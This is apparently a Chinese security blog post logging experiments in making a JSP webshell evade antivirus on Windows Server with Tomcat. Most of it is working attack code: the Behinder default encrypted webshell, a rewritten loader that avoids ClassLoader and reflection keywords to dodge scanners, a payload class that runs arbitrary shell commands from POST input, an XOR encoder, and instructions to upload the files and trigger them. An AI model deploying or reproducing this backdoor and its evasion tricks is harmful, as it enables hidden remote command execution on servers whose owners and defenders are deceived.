JSP免杀绕过测试记录

测试环境

  • windows server 2008
  • 杀软:360、火绒、某藤
  • jsp运行环境:java11、tomcat 10
  • payload编译环境:java8

过程记录

首先将冰蝎默认的木马经过一定的完善,360扫描没有提示jsp后门,火绒扫描提示存在后门。备注:这里笔者强烈怀疑360杀毒检测到在虚拟机中运行就不正常干活了,故意迷惑病毒后门测试人员。

默认后门杀软查杀情况

当前jsp shell代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}
public byte[] x(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(x(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

修改加载方式,采用分离免杀方式,同时需要删除一些静态的关键字,才能绕过火绒检测。

最终修改完成的bypass_jsp.jsp可以绕过某藤的检测,具体绕过原理是根据检测原理来的,某藤会扫描jsp中存在的代码关键字,不能出现任何包含ClassLoader的方法、类名、字段类型,不能出现反射函数invoke的调用,同时绕过以上这些关键字即可绕过检测。

绕过检测

命令执行结果

加载器代码bypass_jsp.jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.file.*,javax.management.loading.*"%>
<%!
class U extends MLet {
public Class g(byte []b){return super.defineClass(b,0,b.length);}}
public byte[] x(String s) throws Exception {
Path path = Paths.get(s, "233.txt");
byte[] data = Files.readAllBytes(path);
for (int i=0; i < data.length; i++) {
data[i] ^= 0x33;
}
return data;
}
%>
<%
new U().g(x(new java.io.File(application.getRealPath(request.getServletPath())).getParent())).newInstance().equals(pageContext);
%>

payload代码C233.java,修改于冰蝎的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.Map;

public class C233 {
private Object Request;
private Object Response;
private Object Session;

public boolean equals(Object obj) {
try {
this.fillContext(obj);
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
BufferedReader reader = (BufferedReader) this.Request.getClass().getMethod("getReader").invoke(this.Request);
write.invoke(so, this.RunCMD(reader.readLine()).getBytes("UTF-8"));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);

} catch (Exception e) {

}
return true;
}

private String RunCMD(String cmd) throws Exception {
Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}

BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));

String disr;
for(disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}

br = new BufferedReader(new InputStreamReader(p.getErrorStream(), "GB2312"));

for(disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}

result = new String(result.getBytes(osCharset));
}

return result;
}

private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}

this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
}

编码器代码encode.py:

1
2
3
4
5
6
7
import sys

with open(sys.argv[1], 'rb') as f:
data = f.read()
data = [i ^ 0x33 for i in data]
with open(sys.argv[2], 'wb') as f2:
f2.write(bytes(data))

使用方法:

1
python encode.py C233.class 233.txt

上传233.txt和bypass_jsp.jsp到同一个目录下,POST访问即可。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!